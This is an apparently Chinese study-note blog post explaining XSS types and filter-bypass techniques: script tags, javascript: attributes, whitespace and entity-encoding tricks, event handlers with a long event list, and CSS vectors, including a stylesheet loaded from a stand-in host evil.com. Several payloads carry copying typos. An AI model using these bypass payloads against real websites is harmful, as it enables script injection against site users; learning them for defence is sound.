xss-day01

分类


反射型xss(不持久型xss)


交互数据一般不会被存在数据库里,只是简单的把用户输入数据反射给浏览器,一次性,所见即所得

储存型xss(持久型xss)


交互的数据被存在在数据库里,永久性存储,具有很强的稳定性

dom xss


不与后台服务器产生交互,通过前端dom节点形成xss漏洞

如何绕过xss-filter


1)利用<>标记注射html/javascript
例如
<script>alert('xss');</script>

2)利用html标签属性执行xss
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了
URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。
例如
<table background= "javascript:alert (/xss/) "></table>
<img src="javascript:alert('XSS');">

如果在浏览器中运行上述代码却没有弹出对话框,请不要惊讶,
因为不是所有的Web浏览器都支持JavaScript伪协议,所以此类XSS攻击
具有一定的局限性。当然,并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本,
读者可以使用下面的属性来测试XSS:
href=
1owsrc=
bgsound=
background=
value=
action=
dynsrc=

3)空格回车Tab
如果XSS-Filter仅仅把敏感的输入字符列入黑名单处理,如对敏感字javascript而言,用户可
以利用空格、回车和Tab键绕过限制,请看下面的例子: 
<img src="javas cript:alert(/xss/)" width=100>

4)对标签属性值转码
此外,对普通HTML标记的属性值进行过滤,用户还可以通过编码处理来绕过,因为HTML
中属性值本身支持ASCII码形式。ASCII码(American Standard Code for Information Interchange),
即美国信息互换标准代码,是目前计算机最通用的编码标准。
因为计算机只能接受数字信息, ASCII码将字符作为数字来表示,
以便计算机能够接受和处理,比如大写字母A的ASCII码是65。标准的ASCII码表,
例如
<img src="javascript:alert('XSs');">
替换成:
<img src="javascrip&#116&#58alert(/XSS/);" >

5)产生自己的事件
现在,假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其
中一种方法。我们知道,JavaScript 与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身
执行的某种动作,比如click、mmouseover、load等,而响应事件的函数就叫做事件处理函数(或事件侦听器)。
例如
<input type= "button" value="click me" οnclick="alert('click me')" />
<img src="#" οnerrοr=alert(/xss/)>

这是一个HTML代码中的事件处理程序,运行这段代码,当单击[click me]按钮后,会触发onclick事件,然后执行当中的JavaScript代码。
测试事件型的跨站脚本,还有大量的事件可以运用:
onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause 
onProgress
onOutofSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted .
onselectionchange
onbounce
onfinish
onstop
onresizeend

6)利用css跨站剖析
XSS跨站脚本的另-一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活
多变等特点,但是CSS样式表有一个很大的缺点:各浏览器之间不能通用,甚者可能同一浏览器
不同版本之间都不能通用。
使用CSS直接执行JavaScript代码的示例如下:
<div style= "background-image:url(javascript:alert('XSS'))">

<style>
body{background-image:url("javascript:alert('XSS')");}
</sty1e>

这些示例有一个共同点:脚本代码通常是嵌入到style标签/属性中的。
如果应用程序禁用了style 标签,用户还可以利用部分HTML标签的style属性执行代码。而且, style
属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。
继续看下面的示例:
<div style="list-style- image:ur1(javascript:alert('XSS'))">
<img sty1e="background- image:ur1(javascript:alert('XSS'))">

这些示例中,都用到样式表中的URL属性来执行XSS,实际上,最后一条代码等同于:
|<img src=" javascript:alert('XSS')">

此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件甚至是从不同的目标机器上
进行引用,比如,用户可以使用<link>标签引用CSS:
假设样式表文件地址为http://www.evilcom/atack.css/attack.css 为攻击者上传的CSS文件,其
中嵌入了XSS代码: 
background-image: expression (alert ("XSS")) ;

这时候,目标网站的xSS Expliot如下:
<link rel="stylesheet" href= "http://www.evil.com/attack.css">

使用这种方式执行跨站脚本很方便,而且不容易被察觉。
除了使用<link>标签外,在网页中引用外部CSS还可以利用@import将其导入,代码如下:
I<style type='text/css'>@importurl(http://www.evil.com/xss.css);</style>

@import还有一个特性,就是能直接执行JavaScript代码,如下:
<style>
@import'javascript:alert ("XSS")';
</style>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值